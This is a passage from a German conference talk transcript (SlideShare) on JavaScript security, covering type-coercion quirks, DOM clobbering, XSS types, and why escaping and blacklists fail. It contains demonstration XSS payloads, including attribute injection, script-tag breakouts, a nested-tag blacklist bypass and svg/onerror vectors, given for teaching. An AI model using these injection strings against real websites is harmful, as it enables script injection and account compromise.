SlideShare ist ein Scribd-Unternehmen logo

JavaScript Days 2015: Security

•
•
Mayflower GmbH
Mayflower GmbH

Wenn der größte Teil der Logik in JavaScript stattfindet, dann findet auch der größere Teil der Sicherheitsrisiken dort sein Zuhause. Und auch Angreifer finden mit JavaScript eine interessante neue Spielwiese, denn die Sprache selbst und auch Ihre Heimat in Browser und Node.js bringen neue Probleme. Genau da setzt der Vortrag an: die verblüffenden Unterschiede von JavaScript zu anderen Sprachen, wenn es um Security geht. Die Risiken und auch die Besonderheiten von Browsern und anderen JavaScript-Engines wie Node.js. Die Security-Implikationen von JavaScript-Frameworks bis hin zu speziellen Problemen wie mXSS, ReDOS und HTML5-Security.

Software
1 von 298
Downloaden Sie, um offline zu lesen
JavaScript  Security     JS  &  seine  Pla3ormen Guten Morgen zusammen! Erster Tag der JavaScript Days, und hier finden sich gleich die Mutigen zum Thema JavaScript Security.
Formalitäten   a) Duzen b) Vormittag Security, Nachmittag Pentesting
Für  den  Nachmi<ag:   Kali  Linux!   USB-­‐SFcks  und   h<p://kali.org   Das sind die Downloads, die es heute gibt. Ich lasse das jeweils in den Pausen stehen. Wer nachher mitmachen möchte sollte sich die Tools downloaden - ich führe die aber auch live vor.
Wer  seid  Ihr?     Rolle?   Programmiersprachen?   Security?
 Agil?   JavaScript-­‐Console  in   Chrome  auf?  :-­‐) Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
Das  bin  ich:
 Johann  Hartmann   CTO  /  Gründer  Mayflower  GmbH   ex-­‐CEO/Gründer  SekFonEins  GmbH   Security  seit  1994  (Greyhat  -­‐>  Whitehat)   Referenzen:  deutsche  Banken,  Heise  Security,
 Litauen  gehackt,  Firefox  Security  Policy   geändert Wenn ich schon JavaScript nicht kann, was kann ich denn: Ich bin hauptberuflich CTO von Mayflower, und damit zu Diensten von etwa 70 Webentwicklern, die alle JavaScript machen. Ich haben 1984 mit 13 zu programmieren begonnen und verdiene seit 1992 Geld damit. Wenn man mal das Cracken von Spielen auf dem C64 und dem Commodore Amiga ausnimmt bin ich seit 1994 im Security-Bereich unterwegs, zunächst als Greyhat und kurze Zeit später als Greyhat. Ich habe mal live die Website der litauischen Regierung gehackt, und Firefox hat mal sein Security-Management meinetwegen umgestellt.
DISCLAIMER:     No  JavaScript-­‐God   But  pre<y  good  at   breaking  stuff. Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
Das  bin  ich:
 @jowe   Johannes  Weber   Entwickelt  bei  Mayflower  GmbH   JS,  PHP,  ANGULAR,  SPA,  MPA,  MigraPons Ich bin Johannes, und auch bei Mayflower. Momentan steht die Migrationen von SPA und MPA an der Tagesordnung. Das Frontend mag ich hierbei am liebsten. Mitsamt allen möglichen Raffinessen vom ersten UX Entwurf, der Deployment Pipeline bis zum Critical Rendering Path.
OH  NOES!   JavaScript  Security! Aber warum dieser Workshop? Weil Javascript Security besonders ist. Aber gucken wir doch mal, warum das so ist.
CPU BUS Speicher Aber warum ist JavaScript Security so oh no? Dasliegt nicht zuletzt an diesem Herrn. Und der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.
CPU BUS Speicher:   Echte  Daten   Laufzeitdaten:  Heap,  Stack Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der Prozesse, oder im Heap für angeforderte Daten.
Speicher:   Echte  Daten   Laufzeitdaten:  Heap,  Stack Für  die  CPU  sind   Daten,  Laufzeitvariablen   und  Code  das  gleiche Und das hat vor allem eine Konsequenz: Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche: manipulierbarer Speicher.
Für  die  CPU  sind   Daten,  Laufzeitvariablen   und  Code  das  gleiche •Buffer  Overflows   •Integer  Overflows   •Format  String  Bugs   •Use  ader  Free   •Stack  Smashing  +  ROP ○Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-Problemen führen. Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt. Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.
Browser:  Daten,  Code,  Darstellung   OS:  Variablen   Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995 auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.
Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche •Session  Riding   •XSS   •CSRF   •JavaScript  Hijacking   •Clickjacking ○Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den einzelnen Punkten komme ich natürlich noch.
Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der machen, was er will.
Web 1.0 Applikation Browser 
 
 ServerModel 
 Browser View Controller RIA-Applikation In einer klassischen Webanwendung konnten wir dem Code voll vertrauen, denn er fand bei uns statt. Die Darstellung, die Ablaufsteuerung und die Daten - alles war vertrauenswürdig. Heute sieht das anders aus - denn der ganze Kram wandert zum Client. Nur noch die Daten bleiben auf der Serverseite persistiert.
Mash-Ups 
 Server 
 Browser 
 Map-Service Map- Widget 
 Embedded Application Embedded Application Und es geht sogar noch eins weiter, denn es werden zunehmend services eingesetzt. Wer setzt hier New Relic ein? Wer Google Analytics? Wer Ad- Plattformen wie TradeDoubler? Wer setzt E-Commerce-Tools wie Fact finder ein? Im Fazit spielen sehr viel mehr Applikationen mit, als man normalerweise denken würde, und das ausgerechnet mit JavaScript als Plattform.
•2.5  Milliarden  Browser-­‐Clients   •1  Milliarde  Smartphones   •Private  Daten  im  Browser   •Bankdaten  im  Browser   •Milliardensummen  in  TransakFonen Largest  A<ack   Surface  Ever Und das passiert nicht nur einmal, sondern sehr oft 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.
Text Thoughtworks Technology Radar JavaScript is moving outside of the browser, emerging as an important technology for 
 cross-platform development. 
 
 ...
 
 Along with the recent proliferation of other languages that compile to JavaScript, this makes us wonder if we should start to consider JavaScript as a platform and not just a language. Und es wird noch schlimmer. Die Götter der Softwareentwicklung von Thoughworks sagen in Ihrem Technology-Radar an, dass JavaScript / HTML5 keine Programmiersprache mehr ist, sondern faktisch eine Plattform. Windows, OSX, Linux, Android und JavaScript.
Auch der zweite Grund ist offensichtlich.Ich weiss, man darf keiner Statistik trauen, aber die Leute von Redmonk machen im Gegensatz zu Tiobe die Statistik auf Basis von echten Diskussionen und echte Commits - konkret Stackoverflow und Github machen. Die Statistik ist vom Januar. In welcher Ecke vermutet Ihr Javacript?
Genau, offensichtliche Frae - ganz rechts oben, weniger Fragen als Java auf Stackoverflow, dafür mehr Lösungen auf Github. Statistisch machen Programmierer also etwas da oben in der Ecke. In Realität ist Java vermutlich sogar noch etwas dominanter, weil viel firmeninterne Entwicklung weder Spuren auf Stack-Overflow noch auf Github hinterlässt.
Risikobewertung •Damage - how bad would an attack be? •Reproducibility - how easy is it to reproduce the attack? •Exploitability - how much work is it to launch the attack? •Affected users - how many people will be impacted? •Discoverability - how easy is it to discover the threat? The  most  dangerous     job  on  earth Wenn man eine Risikobewertung über den Browser als Plattform macht, kommt man zu ganz interessanten Ergebnissen. Damage: Wer hat kritische Daten im Browser? Private Daten? Bankdaten? Transaktionen wie online-Einkäufe? Kreditkartendaten? 
 Reproduzierbarkeit gut, weil man im Target selbst evaluieren kann. Exploitability: ich brauche die Leute auf einer Website von mir. Affected: alle, die einen Browser im Internet nutzen. Discoverability: Im Regelfall einfach.
Risikobewertung „NSA  zahlt  25  Millionen  
 US-­‐Dollar  für  Zero-­‐Day-­‐ Exploits“ Quelle: http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zero-days-an-price-list-for-hackers-secret-software-exploits/
E Und  konkret? Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch dahinter steht.
EJavaScript  macht   nicht  was  Du  denkst. Aber das gilt nicht nur für HTML. Das gilt auch für JavaScript.
E JavaScript       Anomalies JavaScript  Console  auf? Habt Ihr alle die JavaScript Console auf? Ich bitte gleich immer erst zu raten und dann nachzugucken. Und ich freue mich über Beteiligung.
E JavaScript       Anomalies 0.1  +  0.2 Was glaubt ihr, was hier herauskommt? Und was kommt wirklich heraus?
E JavaScript       Anomalies 11.1  /  2.22 Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus? Und warum?
E JavaScript       Anomalies Alle  Zahlen  sind  Float. 11.1  /  2.22 Genau, es gibt nur einen Typ Zahlen - und der ist Float. Deshalb sind die Ergebnisse nicht immer so wie man sie erwartet hätte.
E JavaScript       Anomalies 0  ==  ''   Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus?
E JavaScript       Anomalies ''  ==  0       '0'  ==  0 Und was glaubt ihr bei der nächsten Zeile? Kann 0 sowohl gleich dem Leerstring sein wie auch dem nichtleeren String mit der Ziffer 0? Was glaubt ihr? Und was kommt tatsächlich heraus?
E JavaScript       Anomalies ''  ==  0       '0'  ==  0
 ''  ==  '0' Also: wir wissen jetzt: Und wenn jetzt sowohl ’’ als auch ’0’ gleich 0 sind, sind die beiden denn auch gleich?
E JavaScript       Anomalies Operatoren  verhalten   sich  typabhängig. Dieses Phänomen liegt daran, dass sich Operatoren bei dynamisch getypten Sprachen typabhängig verhalten. Und im Falle von 0 als Zahl passiert ein anderes Casting als bei 0 als beim Vergleich von Strings.
E JavaScript       Anomalies ''  ===  0 Glücklicherweise gibt es noch den Operator ===, der auch eine Typprüfung enthält. Was kommt hier heraus? Genau, das ist false, weil der Typ nicht übereinstimmt.
E JavaScript       Anomalies '0'  ===  "0"   Und was kommt hier heraus? Das ist wieder True, weil zwar die Schreibweise unterschiedlich ist, Typ und Inhalt aber gleich sind.
E JavaScript       Anomalies NaN  ===  NaN Und was kommt hier heraus?
E JavaScript       Anomalies NaN  !==  NaN Immerhin ist es konsequent.
E JavaScript       Anomalies "5"  -­‐  2 Aber es gibt noch mehr komische Operatoren, nicht nur Vergleichsoperationen. Was würde man erwarten was das hier ergibt? Genau, Typecasting nach Integer anhand von -, und im Resultat eine 3. Eine Subtraktion mit einem String würde ja auch keinen Sinn machen.
E JavaScript       Anomalies "5"  +  2 Und was passiert hier?
E JavaScript       Anomalies +  ist  sowohl  AddiFon
  als  auch  KonkatenaFon
E JavaScript       Anomalies typeof  null Und was kommt hier heraus? Genau, und warum ist das so? Exakt, ein JavaScript-Fuckup seit Beginn der Zeiten. Es gab mal einen Vorschlag das zu fixen, das ist aber nicht angenommen worden.
E JavaScript       Anomalies typeof    alert Was kommt hier bei Euch heraus? Genau, function. Im IE6,7,8 ist es aber object.
E JavaScript       Anomalies typeof  /s/ Und was kommt hier heraus? Genau, Object. Chrome hat trotzdem jahrelang function ausgeliefert.
E JavaScript       Anomalies typeof  []   typeof  {} Und welchen Typ hat das leere Array bzw. das leere Objekt? Warum steht da nicht Array bei Array? Genau, weil Array auch nur ein Objekt ist, auch wenn es eine extra Notation zur Erzeugung anbietet.
E JavaScript       Anomalies []  +  [] Was ergibt also die Addition von zwei leeren Arrays? Was würdet Ihr erwarten? Und was ergibt es tatsächlich? Genau, den leeren String.
E JavaScript       Anomalies []  +  {} Und wenn ich ein leeres Array mit einem leeren Objekt addiere? Genau, dann gibt es ein leeres Objekt.
E JavaScript       Anomalies {}  +  [] Und wenn ich das genau andersherum mache? Genau, da kommt die Ziffer 0 heraus.
E JavaScript       Anomalies {}  +  {} Und was kommt heraus, wenn ich zwei Objekte addiere? Was würdet Ihr erwarten? Und was kommt tatsächlich heraus?
E JavaScript       Anomalies {}  +  []    ==  0  
 
 ({}  +  []) Den oberen hatten wir schon - wenn ich {} und [] addiere kommt 0 heraus. Was kommt also heraus, wenn ich das als Ausdruck in eine Klammer stelle? Genau, dann wird es ein Objekt.
bElemente  mit  name-­‐ASribut    werden  zu  document-­‐Variablen DOM   Clobbering Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
E JavaScript       Anomalies 'hello'[1]      'hello'.charAt(1)      'hello'[-­‐1]      'hello'.charAt(-­‐1) Sollte euch jemand sagen, dass es keine Rolle spielt wie ihr auf ein Zeichen in einem String zugreift, irrt er sich. Seht selbst.
E JavaScript       Anomalies  localStorage[0]  =  false;
  if  (localStorage[0])  {              …      } Was denkt ihr kommt hier raus? Auch neue Sprachfeatures haben Besonderheiten. Das kann zu überraschenden Verhalten führen. In diesem Fall solltet ihr JSON.stringify und JSON.parse zum schreiben & lesen nützen.
E JavaScript       Anomalies [,,,].join(); Und hier. Was kommt raus? Warum? Genau, es wird als JSON interpretiert, bei dem das letzte Komma abgeschnitten wird, weil das letzte Element ein „undefined“ ist.
E JavaScript       Anomalies [,,,undefined].join()  ; Dann sollte das doch funktionieren, richtig? Mehr von diesen WTFs gibt auf http://wtfjs.com
b ? DOM   Clobbering DOM Clobbering Kennt jemand den Begriff? Ein wenig Doku dazu gibt es, aber nicht viel. Das DOM ist voll von Möglichkeiten, Strings in Code umzuwandeln. Viele davon sind Klassiker. Einige bekannt und andere unbekannter. Alle haben eine gemeinsames Ergebniss: DOMXSS
bElemente  mit  name-­‐ASribut    werden  zu  document-­‐Variablen DOM   Clobbering Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
b DOM   Clobbering Wenn ich also eine Variable definiere liegt sie erst einmal im globalen, sprich im window-scope. Irgendwie uneindeutig?
b DOM   Clobbering   History 1995:  Legacy-­‐DOM   DOM  Level  0   document.forms[0].elements[0] Stopp erstmal. Jetzt gibts einen kurzen Exkurs in die Geschichte von DOM. Wozu? Um den Kontext zum heutigen DOM herzustellen. Begonnen hat alles 1995, als die Jungs von Netscape mehr Interaktiviät und einen Zugriff auf die Elemente eingebunden haben. Es war kein Standard. Wieso auch?
b DOM   Clobbering   History
b1997:  DHTML,  DOM  Level  0+   MSIE,  Netscape  4.0 DOM   Clobbering   History 1997 wurde in MSIE & dem Netspace das “Intermediate DOM” implementiert. Was war neu? Es gab mehr APIs um HTML in JavaScript anzusprechen. Standard gab es immer noch keinen. Wieso auch, es war Browserkrieg.
b1998:  DOM  Level  1  vom  W3C   empfohlen DOM   Clobbering   History Nach ca. 4 Jahren kamen die ersten Ansätze für Standards auf. Nett. Nur hielt sich damals keiner daran. Warum auch? Neu war hier die Trennung in "Core" und "HTML", Naming Conventions, die Document Structur, ...
b 2000:  DOM  Level  2   document.getElementById()   document.createEvent() DOM   Clobbering   History Neu waren die Module: “Core”, „HTML“, „Events“, „Style“ und „Views“ zur einer Besseren Trennung der Standards. Eine Fundamentale Änderung war der zugriff via document.getElementById() sowie das erstellen von Events. Die Entwicklung der Standards stagnierte im W3C, Entwickler und Browserhersteller wollten aber mehr!
bHeute:  DOM  Level  4   HTML-­‐,  SVG-­‐,  PDF-­‐,  XML-­‐,   MathML  DOM   DOM   Clobbering   History Spezifiziert unter anderem vom W3C, der WHATWG (Web Hypertext Application Technology Working Group) und bestimmten Vendors. Das Ziel dahinter ist die API zwischen Code und Content.
bWas  hat  das  nun  mit  Security  zu  tun?   DOM   Clobbering   History Hmm, was hat das num mit Security zu tun? Was haben wir gesehen: Das DOM hat sich über Jahrzehnte entwickelt. Anfangs war die API klein, ist gewachsen und wieder geschrumpft. Mittlerweile ist die API riesig, manchmal einfach, manchmal komplex. Fakt ist: ohne DOM geht nix! Was hat das mit Security zu tun? Ich zeig es euch!
b Was  hat  das  nun   mit  Security  zu   tun?  
b DOM   Clobbering Zurück zum ersten Beispiel. Das sah doch alles Okay aus. Das ganze geht auch ohne <script> Tags. Hat jemand einen Vorschlag wie?
b DOM   Clobbering Forms! Form-Elemente gehen unmittelbar ein. Hier habe ich eine Javascript-Variable im globalen Scope definiert ohne eine Zeile Javascript zu zeigen. Demo ->
b DOM   Clobbering Aber kann ich damit auch das JavaScript überschreiben? Nein, in diesem Fall sticht Javascript. Demo->
b DOM   Clobbering Aber kann ich damit auch natives JavaScript überschreiben? Ja -> Demo
b DOM   Clobbering Und das gilt nicht nur für properties - sondern auch für Methoden.
j JavaScript   OverwriFng Was  kann  denn  alles     mit  JavaScript   überschrieben  werden?   Überschreiben und Javascript - hat jemand eine Idee, was alles überschrieben werden kann? JavaScript Variablen, Browser Variablen, JavaScript Methoden, Browser Methoden.
j JavaScript   OverwriFng Object.getOwnPropertyDescriptor(
      Object,  "getOwnPropertyDescriptor")
 
 Flag:  configurable. Netterweise bietet JavaScript eine Methode, mit der man das Herausfinden kann - getOwnPropertyDescriptor. Dieser gibt einem ein Objekt zurück, in dessen Property configurable steht ob man es ändern kann oder nicht.
j JavaScript   OverwriFng Demo! file:///Users/johann/javascript/enumerate.html
KXSS Zwischenstatus: Jeder ein Kali Linux installiert? Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?
KXSS Cross   Site     ScripFng Genau, das sollte auch jeder Wissen. Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben. Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.
KXSS JavaScript   InjecFon Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.
KXSS <html>   <head>   <Ftle>JavaScript-­‐Test</Ftle>   <script  src="quadrat.js"  type="text/javascript">   </script>   </head> JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.
KXSS <html>   <head>   <Ftle>JavaScript-­‐Test</Ftle>   <script  src="quadrat.js"  type="text/javascript">   </script>   </head> I  WANT  MOAR! Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...
KXSS <html><head><Ftle>JavaScript-­‐Test</Ftle>   <script  type="text/javascript">   alert(“Hi!“);   </script>   </head> Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...
KXSS <a  href=“javascript:alert(/Hi!/);“>Click  me</a> Einfach URLs nutzen könnte, um JavaScript auszuführen???
KXSS <meta  h<p-­‐equiv=“refresh“   content=“0;url=“javascript:alert(1);“> Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.
KXSS <table  background=“javascript:... Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind. Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist. Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.
KXSS <input  value=“12“  onmouseover=“alert(1);“> Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.
KXSS <style>a:  expression(alert(1))</style> Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.
KXSS <STYLE>.XSS{background-­‐ image:url("javascript:alert('XSS')");}</ STYLE><A  CLASS=XSS></A> Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen. Glücklicherweise auf neuen Browsern auch nicht mehr möglich.
KXSS <script>   xss  =  “alert(1);“;   eval(xss);   </script> Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.
KXSS Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.
KXSS Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren! MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.
KXSS Das  ist     unprakFsch! Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.
KXSS Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.
KXSS Ich  wollte  doch  nur   Daten  schreiben! Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.
KXSS <p>Name:  Hartmann</p> <p>Name:  Hartmann<script>alert(1);</ script></p> Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.
KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.
KXSS <input  type=text  value=“Hartmann“> <input  type=text  value=“Hartmann“   AUTOFOCUS  onfocus=“alert(1);“> Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;
KXSSXSS  Type  0:   Dom-­‐based  XSS Lokal,  nur  im  Client,  ohne  Server.   Deshalb  hild  serverside  MiFgaFon  nicht.   Meist  basierend  auf  locaFon.* Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt. Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht. Man kann sich nur direkt im Javascript schützen.
KXSSXSS  Type  1:   Reflected  XSS Die  typische  XSS.
 Eingabe  -­‐>  Ausgabe  -­‐>  Boom.   Schön  zu  testen.   Andere  Seite  heilt  den  XSS. Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.
KXSSXSS  Type  2:   Persistent  XSS Wie  reflekFerter  XSS,  aber  gespeichert.   Auch  für  andere  Nutzer  sichtbar,  kann  viral   werden. Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.
KXSSXSS  Type  X:   Somewhere  Else Eingebe<etes  remote.js   Externe  JSONPs   Daten  aus  der  Datenbank   Handschrid  auf  der  Überweisung Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.
KXSSRich  Internet   ApplicaFons Bei  Single  Page  ApplicaFons  ist  jeder  XSS   persistent,  weil  keine  Heilung  mehr  durch   einen  URL-­‐Wechsel  stagfindet. Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.
KXSS Escaping  FTW! Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?
KXSS escapeHtml(“Hartmann<script>alert(1);</script>“); Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.
KXSS <p>Name:  Hartmann</p> <p>Name:   Hartmann&gt;script&lt;alert(1);&gt;/ script&lt;</p> Das klappt tatsächlich, wie cool!
KXSS escapeHtml(“Hartmann“  AUTOFOCUS  onfocus= “alert(1);  “); <input  type=text  value=“Hartmann&quot;   AUTOFOCUS  onfocus=&quot;alert(1);“> Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...
KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssen Das gleiche gilt für ausgaben in JavaScript Events.
KXSS <script>   plz  =  “80331“;   <script> <script>   plz  =  “80331'</script><svg  onload=alert(1)>“;   <script> Jetzt kann man sagen: dann escape doch einfach die Anführungsstriche richtig, dann klappt das doch. Demo: file:///Users/johann/security/javascript/parser.html
KXSS Universelles  Escaping   funkFoniert  nicht. Fazit: Universelles Escaping funktioniert nicht.
KXSS $name  =$_GET[‘name‘];   $name  =  escapeme($name); <script>   name  =  “...“;   <script> Input Output Wie würde hier die Escapeme aussehen?
KXSS Input Output $data  =   ‘{vorname:“johann“,nachname:“Ha rtmann“}‘; <script>   var  data  =  myfuncoon(“...“);   <script> Wie würde hier die myfunction aussehen?
KXSS Input Output $wysiwyg  =  “<div>Hi!</div>“;   $layout  =  escapeme($wysiwyg); <body>     ....   </body> Und hier? Genau, universelles Escaping funktioniert nicht.
KXSS Blacklists  dw Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?
KXSS <p>Name:  Hartmann<script>alert(1);</ script></p> <p>Name:  Hartmannalert(1);</p> Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.
KXSS <p>Name:   Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name:  Hartmann<script>alert(1);</ script></p> Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.
KXSS <p>Name:   Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name:  Hartmann[removed]alert(1);   [removed]  </p> Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.
KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;alert(1);   <script> Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....
KXSS <script>   plz  =  80331;   <script> <script>   plz  =  80331;prompt(1,1);   <script> ... da muss man dann prompt(1,1) zum testen nehmen :-).
KXSS Universelles   BlacklisFng   funkFonert  nicht. Fazit: Universelles Blacklisting funktioniert auch nicht.
KXSS Ok,  Escaping  geht  nicht,  BlacklisFng  geht   nicht.   Sonst  noch  was  um  meine  Laune  zu   verderben?   Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?
KMXSS The  innerhtml   Apocalypse Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.
KMXSS Es  steht  das  drin,     was  gemeint  war. Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.
KMXSS DemoFme! Idee,  Konzept,  sonsFges:  
 alles  geklaut  bei  Mario  Heiderich Demo! file:///Users/johann/javascript/innerhtml_test.html Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse <video><source onerror=„alert(1)"> <script> var a="text 1</script>"; var b="text 2<script>alert(1);a=""; </script>
KMXSS HTML  im  Browser  !=  geschriebenes  HTML •abhängig  von  Browserversion   •abhängig  von  Browsermode   •abhängig  von  PosiFon  im  HTML Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.
KMXSS Beispiel:  <i  foo="<b>"  [EOF]
 Firefox,  Chrome,  Safari:  da  ist  nur  ein  <i>-­‐Tag   
 IE,  Opera:  Da  ist  ein  <i>  und  ein  <b>-­‐Tag   Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf - dann wird das <b>-Tag in IE und Opera als solches interpretiert.
